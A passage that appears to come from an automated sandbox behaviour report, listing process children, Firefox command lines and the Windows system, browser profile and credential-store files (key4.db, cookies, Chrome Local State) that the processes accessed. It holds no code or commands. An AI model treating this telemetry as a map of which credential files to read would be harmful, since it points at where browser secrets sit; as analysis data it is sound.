        C:\USERS\ADMINISTRATOR\DESKTOP\DESKTOP.INI
        C:\WINDOWS\SYSWOW64\EN-US\PROPSYS.DLL.MUI
        C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\SYSWOW64\WININET.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\TEMPORARY INTERNET FILES\CONTENT.IE5\INDEX.DAT
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\INDEX.DAT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\HISTORY\HISTORY.IE5\INDEX.DAT
        C:\WINDOWS\SYSWOW64\DNSAPI.DLL
        C:\WINDOWS\SYSWOW64\IPHLPAPI.DLL
        C:\WINDOWS\SYSWOW64\WINNSI.DLL
        C:\WINDOWS\SYSWOW64\RASAPI32.DLL
        C:\WINDOWS\SYSWOW64\RASMAN.DLL
        C:\WINDOWS\SYSWOW64\RTUTILS.DLL
        C:\WINDOWS\SYSWOW64\SENSAPI.DLL
        C:\WINDOWS\SYSWOW64\NETPROFM.DLL
        C:\WINDOWS\SYSWOW64\NLAAPI.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\SYSWOW64\RPCRTREMOTE.DLL
        C:\WINDOWS\SYSWOW64\NPMPROXY.DLL
        C:\WINDOWS\SYSWOW64\NAPINSP.DLL
        C:\WINDOWS\SYSWOW64\PNRPNSP.DLL
        C:\WINDOWS\SYSWOW64\MSWSOCK.DLL
        C:\WINDOWS\SYSWOW64\WINRNR.DLL
        C:\WINDOWS\SYSWOW64\WSHBTH.DLL
        C:\WINDOWS\SYSWOW64\WSHTCPIP.DLL
        C:\WINDOWS\SYSWOW64\WSHIP6.DLL
        C:\WINDOWS\SYSWOW64\RASADHLP.DLL
        C:\WINDOWS\SYSWOW64\FWPUCLNT.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\LOCAL STATE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\PREFERENCES
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SECURE PREFERENCES
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE
        
        Process children
        
        1628
        
        Image path
        
        "C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE" HTTPS://GO.MICROSOFT.COM/FWLINK/?LINKID=2156302&PARTNERCODE=SL5K&MACHINEID=B32446A5AD46437D80CA7ABB0AE0E2A7
        
        Time lapse
        
        151.072069
        
        Files Accessed
        
        C:\PROGRAM FILES\MOZILLA FIREFOX\MOZGLUE.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\MSVCP140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\VCRUNTIME140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\UCRTBASE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L2-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STRING-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-HEAP-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STDIO-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-CONVERT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MATH-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-TIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-UTILITY-L1-1-0.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP\DEFAULTSETUP.EXE
        
        Process children
        
        3196
        
        Image path
        
        "C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE" HTTPS://GO.MICROSOFT.COM/FWLINK/?LINKID=2156302&PARTNERCODE=SL5K&MACHINEID=B32446A5AD46437D80CA7ABB0AE0E2A7
        
        Time lapse
        
        151.134468
        
        Files Accessed
        
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP
        C:\PROGRAM FILES\MOZILLA FIREFOX\MOZGLUE.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\MSVCP140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\VCRUNTIME140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\UCRTBASE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L2-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STRING-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-HEAP-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STDIO-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-CONVERT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MATH-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-TIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-UTILITY-L1-1-0.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\DEPENDENTLIBS.LIST
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\NSS3.DLL
        C:\WINDOWS\SYSTEM32\WINMM.DLL
        C:\WINDOWS\SYSTEM32\WSOCK32.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\LGPLLIBS.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\XUL.DLL
        C:\WINDOWS\SYSTEM32\AVRT.DLL
        C:\WINDOWS\SYSTEM32\PROPSYS.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\DNSAPI.DLL
        C:\WINDOWS\SYSTEM32\UXTHEME.DLL
        C:\WINDOWS\SYSTEM32\WTSAPI32.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC.DLL
        C:\WINDOWS\SYSTEM32\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\NTMARTA.DLL
        C:\WINDOWS\SYSTEM32\KBDUS.DLL
        C:\WINDOWS\SYSTEM32\RPCSS.DLL
        C:\WINDOWS\SYSTEM32\DWRITE.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\CRASH REPORTS\INSTALLTIME20210504152106
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\FIREFOX\PARENT.LOCK
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES.INI
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\PARENT.LOCK
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\COMPATIBILITY.INI
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\.STARTUP-INCOMPLETE
        C:\PROGRAM FILES\MOZILLA FIREFOX\OMNI.JA
        C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER\OMNI.JA
        C:\PROGRAM FILES\MOZILLA FIREFOX\DEFAULTS\PREF\CHANNEL-PREFS.JS
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSTEM32\NETPROFM.DLL
        C:\WINDOWS\SYSTEM32\NLAAPI.DLL
        C:\WINDOWS\SYSTEM32\NAPINSP.DLL
        C:\WINDOWS\SYSTEM32\CRYPTSP.DLL
        C:\WINDOWS\SYSTEM32\RSAENH.DLL
        C:\WINDOWS\SYSTEM32\RPCRTREMOTE.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\STARTUPCACHE.8.LITTLE
        C:\PROGRAMDATA\MOZILLA\UPDATELOCK-308046B0AF4A39CB
        C:\WINDOWS\SYSTEM32\WSHTCPIP.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHTCPIP.DLL.MUI
        C:\WINDOWS\SYSTEM32\WSHIP6.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHIP6.DLL.MUI
        C:\WINDOWS\SYSTEM32\WSHQOS.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHQOS.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\PREFS.JS
        C:\WINDOWS\SYSTEM32\EXPLORERFRAME.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\URLCACHE.BIN
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\URLCACHE-CURRENT.BIN
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\SCRIPTCACHE-CHILD.BIN
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\SCRIPTCACHE-CHILD-CURRENT.BIN
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\SCRIPTCACHE.BIN
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\SCRIPTCACHE-CURRENT.BIN
        C:\PROGRAM FILES\MOZILLA FIREFOX\DISTRIBUTION\DISTRIBUTION.INI
        C:\WINDOWS\SYSTEM32\PNRPNSP.DLL
        C:\WINDOWS\SYSTEM32\MSWSOCK.DLL
        C:\WINDOWS\SYSTEM32\WINRNR.DLL
        C:\WINDOWS\SYSTEM32\WSHBTH.DLL
        C:\WINDOWS\SYSTEM32\NPMPROXY.DLL
        C:\WINDOWS\SYSTEM32\WBEM\WBEMPROX.DLL
        C:\WINDOWS\SYSTEM32\WBEMCOMN.DLL
        C:\WINDOWS\SYSTEM32\WBEM\WBEMSVC.DLL
        C:\WINDOWS\SYSTEM32\WINSTA.DLL
        C:\WINDOWS\SYSTEM32\EN-US\MSCTF.DLL.MUI
        C:\WINDOWS\SYSTEM32\WBEM\FASTPROX.DLL
        C:\WINDOWS\SYSTEM32\NTDSAPI.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC6.DLL
        C:\WINDOWS\SYSTEM32\DXGI.DLL
        C:\WINDOWS\SYSTEM32\MSCMS.DLL
        C:\WINDOWS\SYSTEM32\SPOOL\DRIVERS\COLOR\SRGB COLOR SPACE PROFILE.ICM
        C:\PROGRAM FILES\MOZILLA FIREFOX\FONTS\TWEMOJIMOZILLA.TTF
        C:\WINDOWS\SYSTEM32\WPC.DLL
        C:\WINDOWS\SYSTEM32\WEVTAPI.DLL
        C:\WINDOWS\SYSTEM32\SAMCLI.DLL
        C:\WINDOWS\SYSTEM32\SAMLIB.DLL
        C:\WINDOWS\SYSTEM32\NETUTILS.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\PERMISSIONS.SQLITE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MOZILLA\TEMP-{70150699-0E81-4378-95FB-15FB40DBBB83}
        C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MOZILLA\TEMP-{345B1D50-6447-4C0A-889E-2E788ED33D55}
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\SYSTEMEXTENSIONSDEV
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\EXTENSIONS
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\COOKIES.SQLITE-WAL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\COOKIES.SQLITE-SHM
        C:\WINDOWS\SYSTEM32\TZRES.DLL
        C:\WINDOWS\SYSTEM32\EN-US\TZRES.DLL.MUI
        C:\WINDOWS\SYSTEM32\MMDEVAPI.DLL
        C:\WINDOWS\SYSTEM32\AUDIOSES.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE.SQLITE
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\.METADATA-V2
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\3870112724RSEGMNOITTET-ES.SQLITE-WAL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\3870112724RSEGMNOITTET-ES.SQLITE-SHM
        C:\WINDOWS\SYSTEM32\D2D1.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\TIMES.JSON
        C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER\FEATURES\FORMAUTOFILL@MOZILLA.ORG.XPI
        C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER\FEATURES\WEBCOMPAT@MOZILLA.ORG.XPI
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SESSIONCHECKPOINTS.JSON.TMP
        C:\WINDOWS\FONTS\STATICCACHE.DAT
        C:\PROGRAM FILES\MOZILLA FIREFOX\GMP-CLEARKEY\0.1\MANIFEST.JSON
        C:\WINDOWS\FONTS\SEGOEUI.TTF
        C:\PROGRAM FILES\MOZILLA FIREFOX\SOFTOKN3.DLL
        C:\WINDOWS\SYSTEM32\WININET.DLL
        C:\WINDOWS\WINSXS\AMD64_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_FA396087175AC9AC\COMCTL32.DLL
        C:\WINDOWS\WINDOWSSHELL.MANIFEST
        C:\USERS\ADMINI~1\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI~1.DEF\PKCS11.TXT
        C:\PROGRAM FILES\MOZILLA FIREFOX\FREEBL3.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\TEMPORARY INTERNET FILES\CONTENT.IE5\INDEX.DAT
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\INDEX.DAT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\HISTORY\HISTORY.IE5\INDEX.DAT
        C:\WINDOWS\SYSTEM32\RASAPI32.DLL
        C:\WINDOWS\SYSTEM32\RASMAN.DLL
        C:\WINDOWS\SYSTEM32\RTUTILS.DLL
        C:\USERS\ADMINI~1\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI~1.DEF\KEY4.DB
        C:\WINDOWS\SYSTEM32\SENSAPI.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WININET.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SITESECURITYSERVICESTATE.TXT
        C:\PROGRA~1\MOZILL~1\NSSCKBI.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SECURITY_STATE
        C:\PROGRAMDATA\MOZILLA\UPDATES\308046B0AF4A39CB\UPDATE.TEST
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\GOOGLE4
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\ADS-TRACK-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\ALLOW-FLASHALLOW-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\ANALYTICS-TRACK-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\BASE-CRYPTOMINING-TRACK-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\BASE-FINGERPRINTING-TRACK-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\BLOCK-FLASH-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\BLOCK-FLASHSUBDOC-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\PREFS-1.JS
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\CONTENT-TRACK-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\EXCEPT-FLASH-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\EXCEPT-FLASHALLOW-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\EXCEPT-FLASHSUBDOC-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\GOOGLE-TRACKWHITE-DIGEST256.VLPSET
        C:\WINDOWS\FONTS\TIMES.TTF
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\98E7F8D76509844398CCF67AC5DFA26D4F5053E5
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\MOZPLUGIN-BLOCK-DIGEST256.VLPSET
        C:\WINDOWS\SYSTEM32\EN-US\NTDLL.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\KERNEL32.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\KERNELBASE.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\ADVAPI32.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\SECHOST.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\RPCRT4.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\CRYPT32.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\MOZSTD-TRACKWHITE-DIGEST256.VLPSET
        C:\WINDOWS\SYSTEM32\RASADHLP.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\SOCIAL-TRACK-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\SOCIAL-TRACKING-PROTECTION-FACEBOOK-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\SOCIAL-TRACKING-PROTECTION-LINKEDIN-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\SOCIAL-TRACKING-PROTECTION-TWITTER-DIGEST256.VLPSET
        C:\PROGRAMDATA\MOZILLA\UPDATES\308046B0AF4A39CB\UPDATE-CONFIG.JSON
        C:\WINDOWS\SYSTEM32\FWPUCLNT.DLL
        C:\WINDOWS\SYSTEM32\DUSER.DLL
        C:\WINDOWS\SYSTEM32\DUI70.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\1451318868NTOUROMLALNODRY--EPCR.SQLITE-WAL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\1451318868NTOUROMLALNODRY--EPCR.SQLITE-SHM
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\1657114595AMCATEIRVTISTY.SQLITE-WAL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\1657114595AMCATEIRVTISTY.SQLITE-SHM
        C:\WINDOWS\SYSTEM32\EN-US\APPHELP.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\ADS-TRACK-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\ALLOW-FLASHALLOW-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\ANALYTICS-TRACK-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\BASE-CRYPTOMINING-TRACK-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\BASE-FINGERPRINTING-TRACK-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\BLOCK-FLASH-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\BLOCK-FLASHSUBDOC-DIGEST256.SBSTORE
